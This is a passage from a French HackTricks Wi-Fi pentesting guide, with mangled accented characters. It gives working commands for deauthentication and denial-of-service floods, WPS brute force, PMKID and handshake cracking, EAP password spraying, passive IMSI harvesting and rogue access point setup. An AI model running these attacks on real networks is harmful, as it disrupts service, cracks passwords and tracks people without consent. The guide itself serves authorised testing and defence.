Pentesting Wifi
Reading time: 41 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Commandes de base Wifi
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
Outils
Hijacker & NexMon (Wi-Fi interne Android)
Enable Nexmon Monitor And Injection On Android
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Lancer airgeddon avec docker
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
Source: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux
wifiphisher
Il peut effectuer des attaques Evil Twin, KARMA et Known Beacons, puis utiliser un modÚle de phishing pour obtenir le mot de passe réel du réseau ou capturer des identifiants de réseaux sociaux.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
Cet outil automatise les attaques WPS/WEP/WPA-PSK. Il va automatiquement :
- Place l'interface en monitor mode
- Scanne les réseaux possibles - et vous permet de sélectionner la/les victime(s)
- Si WEP - Lance des attaques WEP
- Si WPA-PSK
- Si WPS : Pixie dust attack et bruteforce attack (attention, l'attaque brute-force peut prendre beaucoup de temps). Remarquez qu'il n'essaie pas null PIN ni database/generated PINs.
- Tente de capturer le PMKID depuis l'AP pour le cracker
- Tente de deauthenticate les clients de l'AP pour capturer un handshake
- Si PMKID ou Handshake, tente un bruteforce en utilisant les top5000 passwords.
Résumé des attaques
- DoS
- Deauthentication/disassociation -- Déconnecte tout le monde (ou un ESSID/Client spécifique)
- Random fake APs -- Masquer des réseaux, possible crash des scanners
- Overload AP -- Tenter de tuer l'AP (généralement pas trÚs utile)
- WIDS -- Jouer avec l'IDS
- TKIP, EAPOL -- Quelques attaques spécifiques pour DoS certains APs
- Cracking
- Crack WEP (plusieurs outils et méthodes)
- WPA-PSK
- WPS pin "Brute-Force"
- WPA PMKID bruteforce
- [DoS +] WPA handshake capture + Cracking
- WPA-MGT
- Username capture
- Bruteforce Credentials
- Evil Twin (with or without DoS)
- Open Evil Twin [+ DoS] -- Utile pour capturer captive portal creds et/ou effectuer des attaques LAN
- WPA-PSK Evil Twin -- Utile pour des attaques réseau si vous connaissez le mot de passe
- WPA-MGT -- Utile pour capturer des credentials d'entreprise
- KARMA, MANA, Loud MANA, Known beacon
- + Open -- Utile pour capturer captive portal creds et/ou effectuer des attaques LAN
- + WPA -- Utile pour capturer des WPA handshakes
DOS
Deauthentication Packets
Description provenant de here:.
Deauthentication attacks, a prevalent method in Wi-Fi hacking, involve forging "management" frames to forcefully disconnect devices from a network. These unencrypted packets deceive clients into believing they are from the legitimate network, enabling attackers to collect WPA handshakes for cracking purposes or to persistently disrupt network connections. This tactic, alarming in its simplicity, is widely used and has significant implications for network security.
Deauthentication using Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 signifie deauthentication
- 1 est le nombre de deauths Ă envoyer (vous pouvez en envoyer plusieurs si vous le souhaitez) ; 0 signifie les envoyer en continu
- -a 00:14:6C:7E:40:80 est l'adresse MAC du point d'accĂšs
- -c 00:0F:B5:34:30:30 est l'adresse MAC du client to deauthenticate ; si ceci est omis alors une broadcast deauthentication est envoyée (ne fonctionne pas toujours)
- ath0 est le nom de l'interface
Disassociation Packets
Disassociation packets, similaire aux deauthentication packets, sont un type de trame de gestion utilisĂ© dans les rĂ©seaux WiâFi. Ces paquets servent Ă rompre la connexion entre un appareil (comme un ordinateur portable ou un smartphone) et un access point (AP). La distinction principale entre disassociation et deauthentication rĂ©side dans leurs scĂ©narios d'utilisation. Alors qu'un AP Ă©met deauthentication packets pour retirer explicitement les rogue devices du rĂ©seau, les disassociation packets sont typiquement envoyĂ©s lorsque l'AP est en cours d'arrĂȘt, de redĂ©marrage ou de dĂ©placement, nĂ©cessitant ainsi la dĂ©connexion de tous les nĆuds connectĂ©s.
Cette attaque peut ĂȘtre effectuĂ©e par mdk4(mode "d"):
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
Plus d'attaques DOS par mdk4
Voir ici.
ATTACK MODE b: Beacon Flooding
Envoie des beacon frames pour afficher de faux APs auprĂšs des clients. Cela peut parfois faire planter les network scanners et mĂȘme les drivers!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
ATTACK MODE a: Authentication Denial-Of-Service
Envoyer des trames d'authentification Ă tous les Access Points (APs) accessibles Ă portĂ©e peut surcharger ces APs, surtout lorsque de nombreux clients sont impliquĂ©s. Ce trafic intense peut entraĂźner une instabilitĂ© du systĂšme, provoquant le gel de certains APs ou mĂȘme leur redĂ©marrage.
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
MODE D'ATTAQUE p: SSID Probing and Bruteforcing
Le sondage des points d'accÚs (APs) permet de vérifier si un SSID est correctement révélé et confirme la portée de l'AP. Cette technique, combinée au bruteforcing hidden SSIDs avec ou sans wordlist, aide à identifier et à accéder aux réseaux dissimulés.
MODE D'ATTAQUE m: Michael Countermeasures Exploitation
L'envoi de paquets alĂ©atoires ou dupliquĂ©s vers diffĂ©rentes files QoS peut dĂ©clencher les Michael Countermeasures sur TKIP APs, entraĂźnant l'arrĂȘt de l'AP pendant une minute. Cette mĂ©thode est une tactique d'attaque DoS (Denial of Service) efficace.
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
En inondant un AP avec des EAPOL Start frames, on crĂ©e des fake sessions, ce qui submerge l'AP et empĂȘche les clients lĂ©gitimes de se connecter. Alternativement, l'injection de fake EAPOL Logoff messages dĂ©connecte de force les clients ; ces deux mĂ©thodes perturbent efficacement le service rĂ©seau.
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
ATTACK MODE s: Attaques contre les réseaux maillés IEEE 802.11s
Diverses attaques contre la gestion des liaisons et le routage dans les réseaux maillés.
ATTACK MODE w: WIDS Confusion
La connexion croisĂ©e de clients Ă plusieurs nĆuds WDS ou Ă de faux rogue APs peut manipuler les Intrusion Detection and Prevention Systems, crĂ©ant de la confusion et un abus potentiel du systĂšme.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
ATTACK MODE f: Packet Fuzzer
Un packet fuzzer offrant diverses sources de paquets et un ensemble complet de modificateurs pour la manipulation des paquets.
Airggedon
Airgeddon propose la plupart des attaques mentionnĂ©es ciâdessus :
WPS
WPS (WiâFi Protected Setup) simplifie le processus de connexion des appareils Ă un routeur, accĂ©lĂ©rant et facilitant la configuration pour les rĂ©seaux chiffrĂ©s avec WPA ou WPA2 Personal. Il est inefficace pour la sĂ©curitĂ© WEP, facilement compromise. WPS utilise un PIN Ă 8 chiffres, validĂ© en deux moitiĂ©s, ce qui le rend susceptible aux attaques par brute-force en raison du nombre limitĂ© de combinaisons (environ 11 000 possibilitĂ©s).
WPS Bruteforce
Il existe 2 outils principaux pour effectuer cette attaque : Reaver et Bully.
- Reaver a Ă©tĂ© conçu pour ĂȘtre une attaque robuste et pratique contre WPS, et a Ă©tĂ© testĂ© contre une grande variĂ©tĂ© de points d'accĂšs et d'implĂ©mentations WPS.
- Bully est une nouvelle implémentation de l'attaque WPS brute force, écrite en C. Elle présente plusieurs avantages par rapport au code reaver original : moins de dépendances, meilleures performances mémoire et CPU, gestion correcte de l'endianness et un ensemble d'options plus robuste.
L'attaque exploite la vulnérabilité du WPS PIN, notamment l'exposition des quatre premiers chiffres et le rÎle du dernier chiffre en tant que checksum, facilitant l'attaque par brute-force. Cependant, des défenses contre les attaques par brute-force, comme le blocage des adresses MAC des attaquants agressifs, obligent à une rotation des adresses MAC pour poursuivre l'attaque.
Une fois le WPS PIN obtenu avec des outils comme Bully ou Reaver, l'attaquant peut déduire le WPA/WPA2 PSK, garantissant un accÚs réseau persistant.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Smart Brute Force
Cette approche raffinée cible les WPS PINs en exploitant des vulnérabilités connues :
- Pre-discovered PINs : Utiliser une base de données de PINs connus liée à des fabricants spécifiques connus pour utiliser des WPS PINs uniformes. Cette base de données met en corrélation les trois premiers octets des adresses MAC avec les PINs probables pour ces fabricants.
- PIN Generation Algorithms : Exploiter des algorithmes comme ComputePIN et EasyBox, qui calculent les WPS PINs à partir de l'adresse MAC de l'AP. L'algorithme Arcadyan nécessite en plus un device ID, ajoutant une couche au processus de génération de PIN.
WPS Pixie Dust attack
Dominique Bongard a dĂ©couvert une faille dans certains Access Points (APs) concernant la crĂ©ation de codes secrets, appelĂ©s nonces (E-S1 et E-S2). Si ces nonces peuvent ĂȘtre dĂ©terminĂ©s, cracker le WPS PIN de l'AP devient facile. L'AP rĂ©vĂšle le PIN dans un code spĂ©cial (hash) pour prouver qu'il est lĂ©gitime et qu'il ne s'agit pas d'un AP rogue. Ces nonces sont essentiellement les "clĂ©s" pour ouvrir le "coffre" qui contient le WPS PIN. Plus d'informations Ă ce sujet sont disponibles here.
En termes simples, le problÚme est que certains APs n'utilisaient pas de clés suffisamment aléatoires pour chiffrer le PIN pendant le processus de connexion. Cela rend le PIN vulnérable au craquage depuis l'extérieur du réseau (offline brute force attack).
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Si vous ne voulez pas mettre l'appareil en monitor mode, ou si reaver
et bully
rencontrent un problĂšme, vous pouvez essayer OneShot-C. Cet outil peut effectuer une Pixie Dust attack sans avoir Ă passer en monitor mode.
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Null Pin attack
Certains systĂšmes mal conçus laissent mĂȘme un Null PIN (un PIN vide ou inexistant) accorder l'accĂšs, ce qui est assez inhabituel. L'outil Reaver est capable de tester cette vulnĂ©rabilitĂ©, contrairement Ă Bully.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
Toutes les attaques WPS proposĂ©es peuvent ĂȘtre facilement rĂ©alisĂ©es en utilisant airgeddon.
- 5 et 6 vous permettent d'essayer votre PIN personnalisé (si vous en avez)
- 7 et 8 effectuent la Pixie Dust attack
- 13 vous permet de tester le NULL PIN
- 11 et 12 vont récupérer les PINs associés à l'AP sélectionnée depuis des bases de données disponibles et générer des PINs possibles en utilisant : ComputePIN, EasyBox et éventuellement Arcadyan (recommandé, pourquoi pas ?)
- 9 et 10 testeront tous les PINs possibles
WEP
TrÚs vulnérable et peu utilisé de nos jours. Sachez simplement que airgeddon dispose d'une option WEP appelée "All-in-One" pour attaquer ce type de protection. D'autres outils proposent des options similaires.
WPA/WPA2 PSK
PMKID
En 2018, hashcat a rĂ©vĂ©lĂ© une nouvelle mĂ©thode d'attaque, unique car elle nĂ©cessite seulement un seul paquet et n'exige pas que des clients soient connectĂ©s Ă l'AP ciblĂ© â juste une interaction entre l'attacker et l'AP.
De nombreux routeurs modernes ajoutent un champ optionnel au premier EAPOL lors de l'association, connu sous le nom Robust Security Network
. Celui-ci inclut le PMKID
.
Comme l'explique le post original, le PMKID est créé en utilisant des données connues :
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Ătant donnĂ© que le "PMK Name" est constant, que nous connaissons le BSSID de l'AP et de la station, et que le PMK
est identique à celui d'un full 4-way handshake, hashcat peut utiliser ces informations pour cracker le PSK et récupérer la passphrase !
Pour gather ces informations et bruteforce localement le mot de passe, vous pouvez faire :
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
Les PMKIDs captured seront affichés dans la console et aussi sauvegardés dans _ /tmp/attack.pcap_
Maintenant, convertissez la capture au format hashcat/john et crack it:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Veuillez noter le format d'un hash correct contient 4 parts, comme : 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838
Si le vÎtre ne contient que 3 parts, alors, il est invalide (la capture PMKID n'était pas valide).
Notez que hcxdumptool
capture également des handshakes (quelque chose comme ceci apparaßtra : MP:M1M2 RC:63258 EAPOLTIME:17091
). Vous pouvez transformer les handshakes au format hashcat/john en utilisant cap2hccapx
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
J'ai remarquĂ© que certains handshakes capturĂ©s avec cet outil n'ont pas pu ĂȘtre cracked mĂȘme en connaissant le mot de passe correct. Je recommande de capturer des handshakes aussi via la mĂ©thode traditionnelle si possible, ou d'en capturer plusieurs en utilisant cet outil.
Capture de handshake
Une attaque contre des rĂ©seaux WPA/WPA2 peut ĂȘtre exĂ©cutĂ©e en capturant un handshake et en tentant de crack le mot de passe offline. Ce processus implique de surveiller la communication d'un rĂ©seau spĂ©cifique et le BSSID sur un channel particulier. Voici un guide simplifiĂ© :
- Identifiez le BSSID, le channel, et un client connecté du réseau cible.
- Utilisez
airodump-ng
pour surveiller le trafic réseau sur le channel et le BSSID spécifiés, en espérant capturer un handshake. La commande ressemblera à ceci :
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
- Pour augmenter les chances de capturer un handshake, dĂ©connectez momentanĂ©ment le client du network pour forcer une re-authentication. Cela peut ĂȘtre fait en utilisant la commande
aireplay-ng
, qui envoie des deauthentication packets au client :
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
Notez que comme le client a été désauthentifié, il pourrait essayer de se connecter à un autre AP ou, dans d'autres cas, à un autre réseau.
Lorsque des informations de handshake
apparaissent dans airodump-ng
, cela signifie que le handshake a Ă©tĂ© capturĂ© et vous pouvez arrĂȘter l'Ă©coute :
Une fois le handshake capturé, vous pouvez le crack avec aircrack-ng
:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
Vérifier si un handshake est présent dans le fichier
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
Si cet outil trouve un handshake d'ESSID incomplet avant le handshake complété, il ne détectera pas le handshake valide.
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
WPA Enterprise (MGT)
Dans des configurations enterprise WiFi, vous rencontrerez diverses méthodes d'authentification, chacune offrant différents niveaux de sécurité et des fonctionnalités de gestion. Lorsque vous utilisez des outils comme airodump-ng
pour inspecter le trafic réseau, vous pourriez remarquer des identifiants pour ces types d'authentification. Parmi les méthodes courantes, on trouve :
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
- EAP-GTC (Generic Token Card):
- Cette méthode supporte les hardware tokens et les one-time passwords au sein de EAP-PEAP. Contrairement à MSCHAPv2, elle n'utilise pas de peer challenge et envoie les mots de passe en clair vers l'access point, ce qui expose à des risques de downgrade attacks.
- EAP-MD5 (Message Digest 5):
- Implique l'envoi du hash MD5 du mot de passe depuis le client. Ce n'est pas recommandé en raison de sa vulnérabilité aux attaques par dictionnaire, de l'absence d'authentification du serveur, et de l'incapacité à générer des clés WEP spécifiques à une session.
- EAP-TLS (Transport Layer Security):
- Utilise à la fois des certificats cÎté client et cÎté serveur pour l'authentification et peut générer dynamiquement des clés WEP par utilisateur et par session pour sécuriser les communications.
- EAP-TTLS (Tunneled Transport Layer Security):
- Fournit une authentification mutuelle via un tunnel chiffré, ainsi qu'une méthode pour dériver des clés WEP dynamiques, par utilisateur et par session. Il nécessite uniquement des certificats cÎté serveur, les clients utilisant des credentials.
- PEAP (Protected Extensible Authentication Protocol):
- Fonctionne de maniÚre similaire à EAP en créant un tunnel TLS pour la communication protégée. Il permet l'utilisation de protocoles d'authentification plus faibles au-dessus d'EAP grùce à la protection offerte par le tunnel.
- PEAP-MSCHAPv2: Souvent appelé PEAP, il combine le mécanisme vulnérable de challenge/response MSCHAPv2 avec un tunnel TLS protecteur.
- PEAP-EAP-TLS (or PEAP-TLS): Similaire à EAP-TLS mais initie un tunnel TLS avant l'échange des certificats, offrant une couche supplémentaire de sécurité.
You can find more information about these authentication methods here and here.
Username Capture
En lisant https://tools.ietf.org/html/rfc3748#page-27 il semble que si vous utilisez EAP les "Identity" messages doivent ĂȘtre supported, et le username va ĂȘtre envoyĂ© en clear dans les messages "Response Identity".
MĂȘme en utilisant l'une des mĂ©thodes d'authentification les plus sĂ©curisĂ©es : PEAP-EAP-TLS, il est possible de capture the username sent in the EAP protocol. Pour ce faire, capturez une communication d'authentication (lancez airodump-ng
sur un canal et wireshark
sur la mĂȘme interface) et filtrez les paquets par eapol
.
Dans le paquet "Response, Identity", le username du client apparaĂźtra.
Anonymous Identities
L'identity hiding est supportĂ©e par Ă la fois EAP-PEAP et EAP-TTLS. Dans le contexte d'un rĂ©seau WiFi, une requĂȘte EAP-Identity est typiquement initiĂ©e par l'access point (AP) pendant le processus d'association. Pour assurer la protection de l'anonymat de l'utilisateur, la rĂ©ponse du client EAP sur l'appareil de l'utilisateur ne contient que les informations essentielles nĂ©cessaires au RADIUS initial pour traiter la requĂȘte. Ce concept est illustrĂ© par les scĂ©narios suivants :
- EAP-Identity = anonymous
- Dans ce scénario, tous les utilisateurs emploient le pseudonyme "anonymous" comme identifiant utilisateur. Le RADIUS initial fonctionne soit comme un serveur EAP-PEAP soit comme un serveur EAP-TTLS, responsable de la gestion du cÎté serveur du protocole PEAP ou TTLS. La méthode d'authentification interne (protégée) est ensuite soit gérée localement soit déléguée à un RADIUS distant (home).
- EAP-Identity = anonymous@realm_x
- Dans cette situation, les utilisateurs de diffĂ©rents realms cachent leur identitĂ© tout en indiquant leur realm respectif. Cela permet au RADIUS initial de proxy les requĂȘtes EAP-PEAP ou EAP-TTLS vers les serveurs RADIUS de leurs home realms, qui agissent comme le serveur PEAP ou TTLS. Le RADIUS initial opĂšre uniquement comme un nĆud relais RADIUS.
- Alternativement, le RADIUS initial peut fonctionner comme le serveur EAP-PEAP ou EAP-TTLS et soit gérer la méthode d'authentification protégée soit la transférer à un autre serveur. Cette option facilite la configuration de politiques distinctes pour différents realms.
Dans EAP-PEAP, une fois que le tunnel TLS est Ă©tabli entre le PEAP server et le PEAP client, le PEAP server initie une requĂȘte EAP-Identity et la transmet Ă travers le tunnel TLS. Le client rĂ©pond Ă cette seconde requĂȘte EAP-Identity en envoyant une response EAP-Identity contenant la vĂ©ritable identitĂ© de l'utilisateur Ă travers le tunnel chiffrĂ©. Cette approche empĂȘche efficacement la rĂ©vĂ©lation de l'identitĂ© rĂ©elle de l'utilisateur Ă quiconque Ă©coute le trafic 802.11.
EAP-TTLS suit une procédure légÚrement différente. Avec EAP-TTLS, le client s'authentifie typiquement en utilisant PAP ou CHAP, sécurisé par le tunnel TLS. Dans ce cas, le client inclut un attribut User-Name et soit un attribut Password soit CHAP-Password dans le message TLS initial envoyé aprÚs l'établissement du tunnel.
Quelle que soit la mĂ©thode choisie, le serveur PEAP/TTLS obtient la connaissance de la vĂ©ritable identitĂ© de l'utilisateur aprĂšs l'Ă©tablissement du tunnel TLS. La vĂ©ritable identitĂ© peut ĂȘtre reprĂ©sentĂ©e comme user@realm ou simplement user. Si le serveur PEAP/TTLS est Ă©galement responsable de l'authentification de l'utilisateur, il possĂšde maintenant l'identitĂ© de l'utilisateur et poursuit avec la mĂ©thode d'authentification protĂ©gĂ©e par le tunnel TLS. Alternativement, le serveur PEAP/TTLS peut transfĂ©rer une nouvelle requĂȘte RADIUS vers le RADIUS home de l'utilisateur. Cette nouvelle requĂȘte RADIUS omet la couche protocolaire PEAP ou TTLS. Dans les cas oĂč la mĂ©thode d'authentification protĂ©gĂ©e est EAP, les messages EAP internes sont transmis au RADIUS home sans l'encapsulation EAP-PEAP ou EAP-TTLS. L'attribut User-Name du message RADIUS sortant contient la vĂ©ritable identitĂ© de l'utilisateur, remplaçant le User-Name anonymous de la requĂȘte RADIUS entrante. Lorsque la mĂ©thode d'authentification protĂ©gĂ©e est PAP ou CHAP (supportĂ©e uniquement par TTLS), le User-Name et d'autres attributs d'authentification extraits de la charge utile TLS sont substituĂ©s dans le message RADIUS sortant, remplaçant le User-Name anonymous et les attributs TTLS EAP-Message prĂ©sents dans la requĂȘte RADIUS entrante.
For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm
SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)
La SIM-based WiâFi authentication utilisant EAPâSIM/EAPâAKA over 802.1X peut leak le permanent subscriber identifier (IMSI) en cleartext pendant la phase d'identitĂ© non authentifiĂ©e si le dĂ©ploiement n'implĂ©mente pas de pseudonyms/protected identities ou un tunnel TLS autour de l'EAP interne.
Where the leak happens (high level):
- 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
- Authenticator sends EAP-Request/Identity.
- Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
- Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
- Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.
Quick PoC: passive IMSI harvesting on EAPâSIM/AKA networks lacking identity privacy
Cliquez pour développer
# 1) Enable monitor mode
airmon-ng start wlan0
# 2) Optional: lock channel to the target BSS
airodump-ng wlan0mon --essid <SSID>
# 3) Capture 802.1X/EAP frames
# Wireshark display filters:
# eap || eapol
# (identity specifically): eap.code == 2 && eap.type == 1
# Kismet: add source wlan0mon; enable 802.1X/EAP views
# tcpdump (pcap capture):
# tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap
# 4) Wait for a device to auto-connect to the SSID
# 5) Inspect the first EAP-Response/Identity frame
# Expected: ASCII NAI containing IMSI, e.g.
# 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
Notes :
- Fonctionne avant tout tunnel TLS si le dĂ©ploiement utilise EAPâSIM/AKA nu sans identitĂ© protĂ©gĂ©e / pseudonymes.
- La valeur exposĂ©e est un identifiant permanent liĂ© Ă la SIM de lâabonnĂ© ; sa collecte permet un traçage Ă long terme et des abus tĂ©lĂ©com en aval.
Impact
- ConfidentialitĂ© : traçage persistant des utilisateurs/appareils via des captures WiâFi passives dans des lieux publics.
- Démarrage d'abus télécom : avec l'IMSI, un attaquant ayant accÚs à SS7/Diameter peut interroger la localisation ou tenter une interception d'appels/SMS et le vol de MFA.
Mitigations / éléments à vérifier
- VĂ©rifier que les clients utilisent des identitĂ©s externes anonymes (pseudonymes) pour EAPâSIM/AKA conformĂ©ment aux recommandations 3GPP (par ex., 3GPP TS 33.402).
- PrivilĂ©gier le tunneling de la phase d'identitĂ© (par ex., EAPâTTLS/PEAP transportant un EAPâSIM/AKA interne) afin que l'IMSI ne soit jamais envoyĂ© en clair.
- Les captures de paquets d'association/auth ne doivent jamais révéler un IMSI brut dans EAP-Response/Identity.
Related: Telecom signalling exploitation with captured mobile identifiers Telecom Network Exploitation
EAP-Bruteforce (password spray)
Si le client doit utiliser un username and password (remarque : EAP-TLS won't be valid dans ce cas), vous pouvez essayer d'obtenir une liste de usernames (voir la partie suivante) et de passwords et tenter de bruteforce l'accĂšs en utilisant air-hammer.
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
Vous pouvez également effectuer cette attaque en utilisant eaphammer
:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
Théorie des attaques client
Sélection du réseau et roaming
- Le protocole 802.11 définit comment une station rejoint un Extended Service Set (ESS) mais ne précise pas les critÚres de sélection d'un ESS ou d'un access point (AP) au sein de celui-ci.
- Les stations peuvent effectuer du roaming entre des AP partageant le mĂȘme ESSID, maintenant la connectivitĂ© Ă travers un bĂątiment ou une zone.
- Le protocole exige l'authentification de la station auprĂšs de l'ESS mais n'oblige pas l'authentification de l'AP auprĂšs de la station.
Preferred Network Lists (PNL)
- Les stations stockent l'ESSID de chaque réseau sans fil auquel elles se connectent dans leur Preferred Network List (PNL), ainsi que les détails de configuration spécifiques au réseau.
- La PNL est utilisée pour se connecter automatiquement aux réseaux connus, améliorant l'expérience utilisateur en simplifiant le processus de connexion.
Passive Scanning
- Les AP diffusent périodiquement des beacon frames, annonçant leur présence et leurs fonctionnalités, y compris l'ESSID de l'AP sauf si la diffusion est désactivée.
- Lors du scannage passif, les stations écoutent les beacon frames. Si l'ESSID d'un beacon correspond à une entrée de la PNL de la station, la station peut se connecter automatiquement à cet AP.
- La connaissance de la PNL d'un appareil permet une exploitation potentielle en imitant l'ESSID d'un réseau connu, trompant l'appareil pour qu'il se connecte à un rogue AP.
Active Probing
- Le probing actif consiste à envoyer des probe requests par les stations pour découvrir les AP à proximité et leurs caractéristiques.
- Les directed probe requests visent un ESSID spĂ©cifique, ce qui aide Ă dĂ©tecter si un rĂ©seau particulier est Ă portĂ©e, mĂȘme s'il est cachĂ©.
- Les broadcast probe requests ont un champ SSID nul et sont envoyées à tous les AP à proximité, permettant à la station de vérifier la présence d'un réseau préféré sans divulguer le contenu de sa PNL.
Simple AP with redirection to Internet
Avant d'expliquer comment réaliser des attaques plus complexes, il sera expliqué comment simplement créer un AP et rediriger son trafic vers une interface connectée à l'Internet.
En utilisant ifconfig -a
, vérifiez que l'interface wlan destinée à créer l'AP et l'interface connectée à l'Internet sont présentes.
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
Créez le fichier de configuration /etc/dnsmasq.conf
:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
Ensuite, configurer les IPs et les routes :
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
Et ensuite start dnsmasq:
dnsmasq -C dnsmasq.conf -d
hostapd
apt-get install hostapd
Créer un fichier de configuration hostapd.conf
:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
ArrĂȘter les processus gĂȘnants , mettre monitor mode, et dĂ©marrer hostapd:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
Transfert et redirection
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
